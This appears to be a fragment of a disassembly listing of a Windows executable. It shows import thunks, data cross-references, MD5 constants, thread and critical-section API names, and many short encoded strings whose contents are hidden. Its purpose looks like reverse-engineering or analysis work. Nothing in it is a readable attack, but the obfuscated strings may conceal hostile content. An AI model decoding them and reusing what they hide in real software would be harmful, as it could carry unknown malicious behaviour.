sub_447624	proc near		; CODE XREF: sub_43A1C3+33p
					; sub_43A1C3+45p ...
		jmp	dword ptr ds:5530C0h
sub_447624	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_447630	proc near		; CODE XREF: sub_43A1C3+Bp
					; sub_43A1C3+17p ...
		jmp	dword ptr ds:5530C4h
sub_447630	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0
; ---------------------------------------------------------------------------
		jmp	dword ptr ds:5530C8h
; ---------------------------------------------------------------------------
		align 8
		jmp	dword ptr ds:5530CCh
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_447654	proc near		; CODE XREF: sub_43A25C+4Ep
					; sub_43A25C+87p
		jmp	dword ptr ds:5530D0h
sub_447654	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_447660	proc near		; CODE XREF: .text:0043A186p
		jmp	dword ptr ds:5530D4h
sub_447660	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_44766C	proc near		; CODE XREF: sub_43A1C3+71p
					; sub_43A1C3+86p
		jmp	dword ptr ds:5530D8h
sub_44766C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_447678	proc near		; CODE XREF: sub_43A25C+9Ep
		jmp	dword ptr ds:5530DCh
sub_447678	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0
		dd 25Fh	dup(?)
dword_448000	dd ?							; sub_43E7A3+382w
dword_448004	dd ?							; sub_445A79+14r ...
dword_448008	dd ?							; sub_4424CE+2Ar ...
dword_44800C	dd ?							; sub_43DE84+1B1r ...
dword_448010	dd ?							; sub_43E7A3+F7w
dword_448014	dd ?							; sub_43D508+1Er ...
dword_448018	dd ?							; sub_43A324+A84r ...
dword_44801C	dd ?							; sub_44726D+193r
dword_448020	dd ?							; sub_445885+BEw
dword_448024	dd ?							; sub_445E1B+6Bw
dword_448028	dd ?							; sub_440364+21Er
dword_44802C	dd ?							; sub_43E397+163w ...
dword_448030	dd ?							; sub_43E114+10Cw ...
dword_448034	dd ?							; sub_43CDF1+BEr ...
dword_448038	dd ?							; sub_43E7A3+304w
dword_44803C	dd ?							; sub_43CDF1+266r ...
dword_448040	dd ?							; sub_442FB0+FFr
dword_448044	dd ?		dword_448048	dd ?							; sub_44496E+17r ...
dword_44804C	dd ?							; sub_445885+17Ew
dword_448050	dd ?				dd 3 dup(?)
dword_448060	dd ?				dd 3E7h	dup(?)
dword_449000	dd ?		dword_449004	dd ?							; sub_4460DD+5Ar ...
dword_449008	dd ?							; sub_445885+13Cw
dword_44900C	dd ?							; sub_442B82+2AFr ...
dword_449010	dd ?							; sub_4467F2+3Br
dword_449014	dd ?							; sub_443843+16Bw
dword_449018	dd ?							; sub_446ED7+35Er
dword_44901C	dd ?							; sub_443843+267r ...
dword_449020	dd ?							; sub_43EE88+157r ...
		dd 3E7h	dup(?)
dword_449FC0	dd ?							; sub_445B7F+10Fr
dword_449FC4	dd ?							; sub_446839+1Ar ...
dword_449FC8	dd ?							; sub_43E501+B9r ...
dword_449FCC	dd ?							; sub_43FEC5+18r ...
dword_449FD0	dd ?							; sub_445A79+39r
dword_449FD4	dd ?							; sub_44726D+1A5r
		dd 2 dup(?)
dword_449FE0	dd 40h dup(?)						; sub_44250C+18Co ...
dword_44A0E0	dd ?							; sub_43EE88+129r ...
		dd 3E7h	dup(?)
dword_44B080	dd ?							; sub_445885+166w
dword_44B084	dd ?							; sub_443B74+58r
dword_44B088	dd ?							; sub_445B7F+129r
dword_44B08C	dd ?		dword_44B090	dd ?							; sub_446ED7+21Dr
dword_44B094	dd ?							; sub_446250+564r
		dd 2 dup(?)
dword_44B0A0	dd 41h dup(?)						; sub_43F41A+105o ...
dword_44B1A4	dd ?							; sub_43B5D8+812r ...
dword_44B1A8	dd ?		dword_44B1AC	dd ?							; sub_43DD23+5Ar ...
byte_44B1B0	db ?			; DATA XREF: sub_43EE88+A1r
					; sub_43EE88+167r ...
		db 3 dup(?)
		dd 0F9h	dup(?)
dword_44B598	dd ?							; sub_43D309+Dr ...
dword_44B59C	dd ?							; sub_445885+112w
dword_44B5A0	dd ?							; sub_445885+127w
dword_44B5A4	dd ?		dword_44B5A8	dd ?							; sub_4432D8+139r
dword_44B5AC	dd ?							; sub_43A324+1082r ...
dword_44B5B0	dd ?							; sub_43ECB6+19r
dword_44B5B4	dd ?							; sub_441B17+72w
dword_44B5B8	dd ?							; sub_43D508+19o ...
dword_44B5BC	dd ?							; sub_43E7A3+3Aw ...
dword_44B5C0	dd ?		dword_44B5C4	dd ?							; sub_446ED7+2EEw
dword_44B5C8	dd ?							; sub_4428C5+51w
dword_44B5CC	dd ?							; sub_43B5D8+1512r ...
dword_44B5D0	dd ?							; sub_43EE88+2Fw ...
dword_44B5D4	dd ?							; sub_443B74+78r
		dd 2 dup(?)
dword_44B5E0	dd ?							; sub_445B7F+101w ...
		dd 0FFh	dup(?)
dword_44B9E0	dd ?							; sub_4460DD+12Aw ...
		dd 5187h dup(?)
dword_460000	dd 0AE77h dup(?)dword_48B9DC	dd ?		dword_48B9E0	dd ?		dword_48B9E4	dd ?		dword_48B9E8	dd ?							; sub_445885+FDw
dword_48B9EC	dd ?							; sub_43E7A3+25w ...
dword_48B9F0	dd ?		dword_48B9F4	dd ?							; sub_440CD2+9r
dword_48B9F8	dd ?							; sub_43E7A3+2C5w ...
dword_48B9FC	dd ?							; sub_441D1A+71r ...
dword_48BA00	dd ?							; sub_43E114+3Fr ...
		dd 3 dup(?)
word_48BA10	dw ?			; DATA XREF: sub_43EE88:loc_43EF0Er
					; sub_43EE88:loc_43EF5Fr ...
		dw ?
		dd 1F3h	dup(?)
dword_48C1E0	dd ?							; sub_443843+64w
dword_48C1E4	dd ?							; sub_445885+55w
dword_48C1E8	dd ?							; sub_4428C5+21Fw
dword_48C1EC	dd ?							; sub_4427D3+EBw
dword_48C1F0	dd ?							; sub_443843+6Fw
		dd 3 dup(?)
dword_48C200	dd 5 dup(?)						; sub_443843+103o ...
dword_48C214	dd ?		dword_48C218	dd ?							; sub_43DD23+3Dr ...
dword_48C21C	dd ?							; sub_43E7A3+1F3w
dword_48C220	dd ?							; sub_4460DD+C6r ...
		dd 0F7Eh dup(?)
dword_49001C	dd 0F080h dup(?)dword_4CC21C	dd ?		dword_4CC220	dd ?							; sub_43A324+A6Dr ...
dword_4CC224	dd ?							; sub_44496E+39r ...
dword_4CC228	dd ?							; sub_43E501+81r ...
		dd ?
dword_4CC230	dd 80h dup(?)						; sub_43DD8A+4Fo ...
dword_4CC430	dd ?							; sub_43E7A3+29Bw ...
		dd 3 dup(?)
dword_4CC440	dd 41h dup(?)						; sub_440F1C+13o ...
dword_4CC544	dd ?							; sub_43E7A3+136w
dword_4CC548	dd ?							; sub_446ED7+385r
		dd ?
dword_4CC550	dd ?							; sub_43A324+3D3r ...
dword_4CC554	dd ?							; sub_43A324+4C9r ...
dword_4CC558	dd ?							; sub_43A324+65Dr ...
dword_4CC55C	dd ?							; sub_43A324+990r ...
dword_4CC560	dd ?							; sub_43A324+C92r ...
dword_4CC564	dd ?							; sub_43A324+CFAr ...
dword_4CC568	dd ?							; sub_43A324+E0Cr ...
dword_4CC56C	dd ?							; sub_43A324+FDBr ...
dword_4CC570	dd ?							; sub_441D1A+68Ar
dword_4CC574	dd ?							; sub_441D1A+6BEr
dword_4CC578	dd ?							; sub_441D1A+653r
dword_4CC57C	dd ?							; sub_441D1A+61Cr
		dd 4A4h	dup(?)
dword_4CD810	dd ?							; sub_43E7A3+25Cw
dword_4CD814	dd ?							; sub_43B5D8+733r ...
dword_4CD818	dd ?		dword_4CD81C	dd ?							; sub_445885+94w
dword_4CD820	dd ?							; sub_44726D+1B7r
		dd 3 dup(?)
dword_4CD830	dd 41h dup(?)						; sub_440F1C+2Bo ...
dword_4CD934	dd ?							; sub_43B5D8+CB8r ...
dword_4CD938	dd ?							; sub_43E7A3+232w
dword_4CD93C	dd ?							; sub_43A324+6CBr ...
dword_4CD940	dd ?							; sub_43FEC5+EEr ...
dword_4CD944	dd ?							; sub_442FB0+241r
dword_4CD948	dd ?							; sub_43B5D8+14CEr ...
		dd ?
dword_4CD950	dd ?							; sub_443F06+48Er ...
		dd 3E7h	dup(?)
dword_4CE8F0	dd ?		dword_4CE8F4	dd ?		dword_4CE8F8	dd ?							; sub_441D1A+65Ar ...
dword_4CE8FC	dd ?							; sub_446ED7+2F9w
dword_4CE900	dd ?							; sub_43ECB6+6Ar ...
dword_4CE904	dd ?							; sub_445885+7Fw
dword_4CE908	dd ?							; sub_446ED7+FFr ...
dword_4CE90C	dd ?							; sub_440CD2+148r ...
dword_4CE910	dd ?							; sub_43E7A3+21Dw ...
dword_4CE914	dd ?							; sub_43A324+1054r ...
dword_4CE918	dd ?							; sub_442FB0:loc_443104r
		dd ?
dword_4CE920	dd ?							; sub_4460DD+D4r ...
		dd 0FFFEh dup(?)
dword_50E91C	dd ?							; sub_44496E+E08r
dword_50E920	dd ?							; sub_446ED7+18Er
dword_50E924	dd ?							; sub_43DE1F+54r ...
dword_50E928	dd ?							; sub_43A324+C64r ...
dword_50E92C	dd ?							; sub_446ED7+313w ...
dword_50E930	dd ?							; sub_4428C5+A5w ...
dword_50E934	dd ?							; sub_442B82+289r
dword_50E938	dd ?							; sub_441D1A+2E9r ...
dword_50E93C	dd ?							; sub_43B556+32r ...
dword_50E940	dd ?							; sub_43E397+79w
		dd 3 dup(?)
dword_50E950	dd ?							; sub_4460DD+131w ...
		dd 0FFFEh dup(?)
dword_54E94C	dd ?							; sub_445B7F+8Cr
dword_54E950	dd ?							; sub_4428C5+18Cw
dword_54E954	dd ?							; sub_4428C5+20Aw
dword_54E958	dd ?							; sub_441D1A+5B9r ...
dword_54E95C	dd ?							; sub_43FEC5+79r ...
dword_54E960	dd ?							; sub_43E7A3+2DAw ...
dword_54E964	dd ?							; sub_44077A+93r ...
dword_54E968	dd ?							; sub_43FA48+2Dr ...
		dd ?
dword_54E970	dd 40h dup(?)						; sub_443843+17Bo ...
dword_54EA70	dd ?							; sub_44250C+9r ...
dword_54EA74	dd ?							; sub_443522+217w ...
dword_54EA78	dd ?							; sub_43E7A3+160w ...
		dd ?
dword_54EA80	dd ?							; sub_443522+C7w ...
		dd 8 dup(?)
dword_54EAA4	dd ?		dword_54EAA8	dd ?				dd ?
dword_54EAB0	dd ?							; sub_443522+19Cw
		dd ?
dword_54EAB8	dd ?							; sub_443522+15Dw
		dd ?
dword_54EAC0	dd ?							; sub_443522+43w ...
		dd 2 dup(?)
dword_54EACC	dd ?				dd 3 dup(?)
dword_54EADC	dd ?				dd 3 dup(?)
dword_54EAEC	dd ?				dd ?
dword_54EAF4	dd ?		dword_54EAF8	dd ?				dd ?
dword_54EB00	dd ?							; sub_446ED7+354r
		dd 3 dup(?)
byte_54EB10	db ?			; DATA XREF: sub_43E501+F8w
					; sub_43E501+135o ...
		db 3 dup(?)
		dd 3FFh	dup(?)
dword_54FB10	dd ?							; sub_43E7A3+E2w ...
dword_54FB14	dd ?							; sub_441803+Er ...
dword_54FB18	dd ?							; sub_43B5D8+149Ar ...
dword_54FB1C	dd ?							; sub_4460DD+9Dr ...
dword_54FB20	dd ?							; sub_445B7F+6Br ...
		dd 0FEh	dup(?)
dword_54FF1C	dd ?							; sub_43DD8A+85r ...
dword_54FF20	dd ?							; sub_43EBAF+3Ar ...
		dd ?
dword_54FF28	dd ?							; sub_44322A+28r ...
dword_54FF2C	dd ?							; sub_440CD2+39r
dword_54FF30	dd ?							; sub_43F41A+1EDr ...
dword_54FF34	dd ?							; sub_442B82+2D4r ...
dword_54FF38	dd ?							; sub_441D1A+13Cr ...
dword_54FF3C	dd ?							; sub_43B53F+Er ...
byte_54FF40	db ?			; DATA XREF: sub_43F98E:loc_43FA07r
					; sub_442E73+44o
		db 3 dup(?)
		dd 3Fh dup(?)
dword_550040	dd ?							; sub_43B5D8+894r ...
dword_550044	dd ?							; sub_446E05+90w
dword_550048	dd ?				dd ?
dword_550050	dd 6Ch dup(?)						; sub_43CAF7+60o ...
_text		ends

; Section 5. (virtual address 00151000)
; Virtual size			: 00001C00 (   7168.)
; Section size in file		: 00001C00 (   7168.)
; Offset to raw	data for section: 00023200
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 551000h
off_551000	dd offset sub_447578	; DATA XREF: .text:0043A1B5r
dword_551004	dd 0							; sub_43A1C3+64r
dword_551008	dd 0		dword_55100C	dd 0							; sub_43A1C3:loc_43A23Cr
dword_551010	dd 0				align 8
		dd 7325h
aWr:					; DATA XREF: sub_43A1C3+3Do
					; sub_43A1C3+4Fo ...
		unicode	0, <wr>,0
		align 4
		dd 4 dup(0)
dword_551034	dd 0		dword_551038	dd 0							; .text:0043A117r ...
dword_55103C	dd 0		dword_551040	dd 14h dup(0)						; .text:0043A11Fo
dword_551090	dd 4							; sub_43A324+1F1r ...
word_551094	dw 2			; DATA XREF: sub_43A324:loc_43A384r
					; sub_43B5D8+1BAr ...
		align 4
dword_551098	dd 9							; sub_43A324+BD1r ...
word_55109C	dw 6			; DATA XREF: sub_43DE84+145r
					; sub_440364+244r ...
		align 10h
dword_5510A0	dd 3							; sub_43A324+853r ...
dword_5510A4	dd 7							; sub_43A324+9F9r ...
word_5510A8	dw 0			; DATA XREF: sub_43A324+178r
					; sub_43B5D8+1255r ...
		align 4
dword_5510AC	dd 7							; sub_43A324+42Cr ...
dword_5510B0	dd 5							; sub_43ECB6+2Cr ...
word_5510B4	dw 5			; DATA XREF: sub_43A324+1AEr
					; sub_43B5D8+C28r ...
		align 4
dword_5510B8	dd 4							; sub_43B5D8+A93r ...
dword_5510BC	dd 0							; sub_43A324+7E4r ...
dword_5510C0	dd 2							; sub_43B5D8+9A9r ...
word_5510C4	dw 6			; DATA XREF: sub_43A324+138r
					; sub_43A324+306r ...
		align 4
dword_5510C8	dd 1							; sub_43A324+2D9r ...
word_5510CC	dw 1			; DATA XREF: sub_43A324+343r
					; sub_43A324+A5Ar ...
		align 10h
word_5510D0	dw 6			; DATA XREF: sub_43B46B+2Fr
					; sub_43B5D8+18Fr ...
		align 4
dword_5510D4	dd 5							; sub_43A324+E4Fr ...
dword_5510D8	dd 6							; sub_43A324+EBDr ...
dword_5510DC	dd 4							; sub_43F090+2BEr ...
dword_5510E0	dd 6							; sub_43A324+A64r ...
dword_5510E4	dd 5							; sub_43CBE6+90r ...
dword_5510E8	dd 1							; sub_43CDF1+226r ...
dword_5510EC	dd 1							; sub_43B5D8+831r ...
dword_5510F0	dd 3							; sub_43B5D8+6F0r ...
word_5510F4	dw 2			; DATA XREF: sub_43A324+377r
					; sub_43B5D8+EBFr ...
		align 4
word_5510F8	dw 5			; DATA XREF: sub_43A324+5FAr
					; sub_43A324+6C0r ...
		align 4
word_5510FC	dw 2			; DATA XREF: sub_43A324+692r
					; sub_43A324+6FDr ...
		align 10h
dword_551100	dd 9							; sub_43D3AD+B0r ...
word_551104	dw 0			; DATA XREF: sub_43A324+756r
					; sub_43B5D8+8CFr ...
		align 4
dword_551108	dd 8							; sub_43CDF1+11Fr ...
dword_55110C	dd 2							; sub_43A324+B03r ...
dword_551110	dd 9							; sub_43B5D8+126Cr ...
dword_551114	dd 1							; sub_43D0C6:loc_43D120r ...
word_551118	dw 8			; DATA XREF: sub_43A324+B7Br
					; sub_43CBE6+1CEr ...
		align 4
dword_55111C	dd 2							; sub_43A324+C76r ...
dword_551120	dd 8							; sub_43A324+A49r ...
dword_551124	dd 2							; sub_43A324+EA3r ...
word_551128	dw 5			; DATA XREF: sub_43A324+1C8r
					; sub_43A324+2ABr ...
		align 4
dword_55112C	dd 8							; sub_43B5D8+4EDr ...
dword_551130	dd 1							; sub_43A324+F17r ...
dword_551134	dd 2							; sub_43B5D8+4BFr ...
word_551138	dw 3			; DATA XREF: sub_43A324:loc_43A70Fr
					; sub_43A324+664r ...
		align 4
word_55113C	dw 9			; DATA XREF: sub_43A324+18Cr
					; sub_43A324+54Dr ...
		align 10h
dword_551140	dd 1							; sub_43A324+3BFr ...
word_551144	dw 4			; DATA XREF: sub_43A324+10Ar
					; sub_43A324+24Er ...
		align 4
word_551148	dw 1			; DATA XREF: sub_43A324+687r
					; sub_43A324+710r ...
		align 4
dword_55114C	dd 2							; sub_43B5D8+81Er ...
dword_551150	dd 4							; sub_43B5D8+1155r ...
dword_551154	dd 8							; sub_43A324+327r ...
dword_551158	dd 3							; sub_43A324+B0Dr ...
dword_55115C	dd 4							; sub_43DE84+ECr ...
dword_551160	dd 7							; sub_43A324+B8Er ...
word_551164	dw 1			; DATA XREF: sub_43A324+A3Br
					; sub_43B5D8:loc_43C174r ...
		align 4
dword_551168	dd 2							; sub_43A324+E39r ...
dword_55116C	dd 5							; sub_43B5D8+28Br ...
dword_551170	dd 4							; sub_43A324:loc_43A625r ...
dword_551174	dd 7							; sub_43A324+7DAr ...
dword_551178	dd 9							; sub_43D0C6:loc_43D0DDr ...
dword_55117C	dd 7							; sub_43A324+C71r ...
dword_551180	dd 0							; sub_43A324+C2Fr ...
dword_551184	dd 4							; sub_43B5D8+5C2r ...
dword_551188	dd 5							; sub_43B5D8+163r ...
dword_55118C	dd 1							; sub_43B5D8+925r ...
word_551190	dw 8			; DATA XREF: sub_43A324+F64r
					; sub_43B5D8+590r ...
		align 4
word_551194	dw 1			; DATA XREF: sub_43A324+519r
					; sub_43A324+BE1r ...
		align 4
word_551198	dw 1			; DATA XREF: sub_43A324+1F9r
					; sub_43A324:loc_43A671r ...
		align 4
dword_55119C	dd 4							; sub_43A324+7C5r ...
dword_5511A0	dd 8							; sub_43B5D8+11EDr ...
word_5511A4	dw 6			; DATA XREF: sub_43A324:loc_43A701r
					; sub_43A324+9A7r ...
		align 4
word_5511A8	dw 0			; DATA XREF: sub_43A324+D15r
					; sub_43B5D8+56r ...
		align 4
dword_5511AC	dd 2							; sub_43A324+233r ...
dword_5511B0	dd 7							; sub_43B5D8+E54r ...
dword_5511B4	dd 4							; sub_43B556:loc_43B5C2r ...
dword_5511B8	dd 4							; sub_43D76D+14Br ...
dword_5511BC	dd 6							; sub_43A324+AF8r ...
dword_5511C0	dd 1							; sub_43A324+B75r ...
word_5511C4	dw 8			; DATA XREF: sub_43A324+432r
					; sub_43A324+9F2r ...
		align 4
dword_5511C8	dd 8							; sub_43CAF7+C1r ...
word_5511CC	dw 9			; DATA XREF: sub_43A324+717r
					; sub_43A324+AF1r ...
		align 10h
dword_5511D0	dd 7							; sub_43D0C6+73r ...
dword_5511D4	dd 8							; sub_43A324+997r ...
dword_5511D8	dd 4							; sub_43B5D8+11DDr ...
dword_5511DC	dd 0							; sub_43A324+E49r ...
dword_5511E0	dd 4							; sub_43A324+59Er ...
dword_5511E4	dd 4							; sub_43A324+899r ...
word_5511E8	dw 7			; DATA XREF: sub_43A324+AC1r
					; sub_43B5D8+F69r ...
		align 4
dword_5511EC	dd 3							; sub_43B5D8+12DDr ...
word_5511F0	dw 6			; DATA XREF: sub_43A324+520r
					; sub_43CBE6+D4r ...
		align 4
dword_5511F4	dd 9							; sub_43B5D8+296r ...
dword_5511F8	dd 3							; sub_43B5D8+93Ar ...
dword_5511FC	dd 0							; sub_43A324+2C6r ...
dword_551200	dd 5							; sub_43A324+BC1r ...
dword_551204	dd 2							; sub_43A324+7BBr ...
word_551208	dw 1			; DATA XREF: sub_43A324+F4r
					; sub_43A324+CD4r ...
		align 4
dword_55120C	dd 4							; sub_43A324+8E8r ...
word_551210	dw 5			; DATA XREF: sub_43A324+238r
					; sub_43A324+440r ...
		align 4
dword_551214	dd 3							; sub_43A324+886r ...
word_551218	dw 0			; DATA XREF: sub_43A324+193r
					; sub_43E284+F3r ...
		align 4
dword_55121C	dd 4							; sub_43E114+C0r ...
dword_551220	dd 2							; sub_43A324+630r ...
dword_551224	dd 1							; sub_43D535+8Ar ...
dword_551228	dd 8							; sub_43A324+7A9r ...
dword_55122C	dd 7							; sub_43A324+BCAr ...
dword_551230	dd 1							; sub_43A324+F47r ...
dword_551234	dd 8							; sub_43A324+8BAr ...
dword_551238	dd 0							; sub_43A324+3AAr ...
dword_55123C	dd 0							; sub_43B5D8+11C6r ...
word_551240	dw 8			; DATA XREF: sub_43A324+ABAr
					; sub_43B5D8+1032r ...
		align 4
word_551244	dw 7			; DATA XREF: sub_43B5D8+B63r
					; sub_43B5D8+12B9r ...
		align 4
dword_551248	dd 4							; sub_43B5D8+51r ...
dword_55124C	dd 9							; sub_43A324+D4Dr ...
dword_551250	dd 0							; sub_43CAF7+1Ew ...
dword_551254	dd 0							; sub_43D76D+26Ar ...
dword_551258	dd 0							; sub_43E397+20r ...
dword_55125C	dd 0							; sub_4428C5+22r ...
dword_551260	dd 0							; sub_443272+20r ...
dword_551264	dd 0							; sub_4427D3+26r ...
dword_551268	dd 0							; sub_446E05+22r ...
dword_55126C	dd 0							; sub_441B17+13w ...
dword_551270	dd 0							; sub_445E1B+13w ...
dword_551274	dd 0							; sub_43D309+29r ...
dword_551278	dd 0							; sub_445885+26r ...
dword_55127C	dd 0							; sub_43DD23+29r ...
dword_551280	dd 0							; sub_43EBF8+20r ...
dword_551284	dd 0							; sub_44322A+37w ...
dword_551288	dd 0							; sub_43FA48+24r ...
dword_55128C	dd 0							; sub_440CD2+11Fw ...
dword_551290	dd 0E860h, 0E9610000h, 2 dup(0)dword_5512A0	dd 0							; sub_43F090+350w ...
dword_5512A4	dd 0							; sub_4424CE:loc_4424FFr ...
off_5512A8	dd offset sub_43FA81	; DATA XREF: sub_443F06+689o
		dd offset sub_441803
		dd offset sub_441A78
		dd offset sub_43E79B
		dd offset sub_44587D
		dd offset sub_443E26
		dd offset sub_43EE88
dword_5512C4	dd 0							; sub_442B82+160r ...
off_5512C8	dd offset sub_43B556	; DATA XREF: .data:off_5512E4o
		dd offset sub_43B53F
		dd offset sub_43D4E1
		dd offset sub_43D713
		dd offset sub_447513
		dd offset sub_4432D0
		dd offset sub_43B4E9
off_5512E4	dd offset off_5512C8	; DATA XREF: sub_43E652+C0o
					; sub_443B74+144o
dword_5512E8	dd 0							; sub_43E652+72r ...
off_5512EC	dd offset sub_445D93	; DATA XREF: .data:off_551308o
		dd offset sub_4457CA
		dd offset sub_43D508
		dd offset sub_44378D
		dd offset sub_43B537
		dd offset sub_43E27C
		dd offset sub_43E652
off_551308	dd offset off_5512EC	; DATA XREF: sub_443B74:loc_443D34o
aLeavecriticals	db 'LeaveCriticalSection',0 ; DATA XREF: sub_43FFC1+2C9o
aCreatethread	db 'CreateThread',0     ; DATA XREF: sub_43FFC1+2DCo
aEntercriticals	db 'EnterCriticalSection',0 ; DATA XREF: sub_43FFC1+300o
aInitializecrit	db 'InitializeCriticalSection',0 ; DATA XREF: sub_43FFC1+313o
		align 10h
dword_551360	dd 0D76AA478h, 0E8C7B756h, 242070DBh, 0C1BDCEEEh, 0F57C0FAFh
					; DATA XREF: sub_441052+2Fo
		dd 4787C62Ah, 0A8304613h, 0FD469501h, 698098D8h, 8B44F7AFh
		dd 0FFFF5BB1h, 895CD7BEh, 6B901122h, 0FD987193h, 0A679438Eh
		dd 49B40821h
dword_5513A0	dd 0F61E2562h, 0C040B340h, 265E5A51h, 0E9B6C7AAh, 0D62F105Dh
					; DATA XREF: sub_441052+3Fo
		dd 2441453h, 0D8A1E681h, 0E7D3FBC8h, 21E1CDE6h,	0C33707D6h
		dd 0F4D50D87h, 455A14EDh, 0A9E3E905h, 0FCEFA3F8h, 676F02D9h
		dd 8D2A4C8Ah
dword_5513E0	dd 0FFFA3942h, 8771F681h, 6D9D6122h, 0FDE5380Ch, 0A4BEEA44h
					; DATA XREF: sub_441052+52o
		dd 4BDECFA9h, 0F6BB4B60h, 0BEBFBC70h, 289B7EC6h, 0EAA127FAh
		dd 0D4EF3085h, 4881D05h, 0D9D4D039h, 0E6DB99E5h, 1FA27CF8h
		dd 0C4AC5665h
dword_551420	dd 0F4292244h, 432AFF97h, 0AB9423A7h, 0FC93A039h, 655B59C3h
					; DATA XREF: sub_441052+65o
		dd 8F0CCC92h, 0FFEFF47Dh, 85845DD1h, 6FA87E4Fh,	0FE2CE6E0h
		dd 0A3014314h, 4E0811A1h, 0F7537E82h, 0BD3AF235h, 2AD7D2BBh
		dd 0EB86D391h
off_551460	dd offset loc_446C3A	; DATA XREF: sub_446AA8+18Br
		dd offset loc_446C45
		dd offset loc_446C9B
		dd offset loc_446CF7
dword_551470	dd 4, 6A0028h, 6C0067h,	71hdword_551480	dd 0B1DA0006h, 0ACF7ABB1h		db 0A2h, 0
word_55148A	dw 6			; DATA XREF: sub_446ED7+1F0o
		dd 0A2B8B8D3h, 0ABA5FEh
dword_551494	dd 0A5CE0006h, 0B8E3BFA5h		db 0B6h, 0
word_55149E	dw 8			; DATA XREF: sub_446ED7+107o
		dd 2B075174h, 510C0019h
		db 1, 0
word_5514AA	dw 6			; DATA XREF: sub_446ED7+C5o
		dd 68727219h, 616F34h
dword_5514B4	dd 3E1B0007h, 6F764468h		db 63h,	2Ah, 0
byte_5514BF	db 0Ch			; DATA XREF: sub_446E05+B1o
		dd 80ADE900h, 8CAE999Ah, 9B88B99Dh
		db 88h,	84h, 0
byte_5514CF	db 0Bh			; DATA XREF: sub_446E05+95o
		dd 0A691C700h, 0A9A6AEB5h, 0AEA98EB3h
		db 0B3h, 0
word_5514DE	dw 0Ch			; DATA XREF: sub_446E05+79o
aLsglduijpls	db '꼋˜ƒ‹„©†‹˜',0
word_5514EE	dw 0Eh			; DATA XREF: sub_446E05+5Do
		dd 0E3E9C390h, 0FFFCFCD1h, 0E2E4C3F3h, 0F7FEF9h
dword_551500	dd 0D685000Dh, 0F7C3F6FCh, 0F1D6E0E0h, 0E2EBECF7h
					; DATA XREF: sub_446E05:loc_446E46o
		db 0
byte_551511	db 0Ch,	0, 3Ah		; DATA XREF: sub_446E05+2Ao
		dd 5B5F5655h, 8094E4Fh,	56565E14h
		db 0
byte_551521	db 0Ch,	0, 24h		; DATA XREF: sub_446E05+1o
		dd 4541484Bh, 16175051h, 4848400Ah
		db 0
byte_551531	db 4, 0, 42h		; DATA XREF: sub_446250+4BAo
aL6		db 'l',0
asc_551539	db 0Bh,0		; DATA XREF: sub_446250+43Co
aTISiRkvv	db 'Î’¾ë»‘ë»àª¢¢',0
dword_551548	dd 0F1A70001h			db 0
byte_55154D	db 1, 0, 86h		; DATA XREF: sub_4460DD+21o
		db 0D3h, 0
word_551552	dw 17h			; DATA XREF: sub_445E8D:loc_446094o
aSSSSSsSSSST	db '¼™ß™ß™ß™ß‘™ß™ß™ß™ß™ß’ßÓÑ',0
byte_55156D	db 16h,	0, 8Dh		; DATA XREF: sub_445E8D+1C1o
		dd 2 dup(0EEA8EEA8h), 0A8A0EEA8h, 0A8EEA8EEh, 0A3EEA8EEh
		db 0FFh, 0F8h, 0
byte_551587	db 0Ah			; DATA XREF: sub_445E1B+27o
		dd 5B4E3D00h, 4E52625Eh, 51515913h
		db 0
byte_551595	db 0Ah,	0, 86h		; DATA XREF: sub_445E1B+1o
		dd 0D9E5E0F5h, 0E2A8F5E9h
		db 2 dup(0EAh),	0
byte_5515A3	db 4			; DATA XREF: sub_445B7F:loc_445BB3o
		dd 0E6A08500h
		db 0BFh, 0D9h, 0
byte_5515AB	db 10h			; DATA XREF: sub_445885+16Bo
		dd 0D7E0B200h, 0D7C7E3D5h, 0D3E4CBC0h, 0F7D7C7DEh
		db 0CAh, 0F3h, 0
byte_5515BF	db 10h			; DATA XREF: sub_445885+156o
		dd 86B9F600h, 84A69893h, 85939599h, 9D99A285h
		db 93h,	98h, 0
byte_5515D3	db 13h			; DATA XREF: sub_445885+141o
		dd 94B6F100h, 9A9EA585h, 9FB89F94h, 9C839E97h, 9E988590h
		db 9Fh,	0
off_5515EA	dd offset dword_49001C	; DATA XREF: sub_445885+12Co
		dw 2027h
		dd 2528203Dh, 1A2C3320h, 3B3C2A2Ch, 0D303D20h, 3B2A3A2Ch
		dd 263D3920h
		db 3Bh,	0
word_55160A	dw 0Ch			; DATA XREF: sub_445885+117o
		dd 17062463h, 11061036h, 60E022Dh
		db 22h,	0
word_55161A	dw 0Dh			; DATA XREF: sub_445885+102o
		dd 21231446h, 28233609h, 33F230Dh
		db 3Eh,	7, 0
byte_55162B	db 1Ah			; DATA XREF: sub_445885+EDo
		dd 0C3F5A600h, 0C5C3F5D2h, 0D2CFD4D3h, 0D5C3E2DFh, 0D6CFD4C5h
		dd 0E9D4C9D2h, 0D4C3C8D1h
		db 0
byte_551649	db 12h,	0, 0C4h		; DATA XREF: sub_445885+D8o
aGbCnacJeMlN	db 'ƒ¡°—­ —±¦…±°¬«¶­°½',0
byte_55165F	db 10h			; DATA XREF: sub_445885+C3o
		dd 0A395C600h, 0AAAF80B2h, 0A5A395A3h, 0B2AFB4B3h
		db 0BFh, 87h, 0
byte_551673	db 15h			; DATA XREF: sub_445885+AEo
		dd 0C2E1AD00h, 0DDD8C6C2h, 0DBC4DFFDh, 0CAC8C1C4h, 0C1CCFBC8h
		dd 0ECC8D8h
dword_55168C	dd 0F5B20017h, 0DBE1C6D7h, 0D0C7E1D6h, 0DAC6C7F3h, 0C6DBC0DDh
					; DATA XREF: sub_445885+99o
		dd 0C7DDF1CBh
		db 0DCh, 0C6h, 0
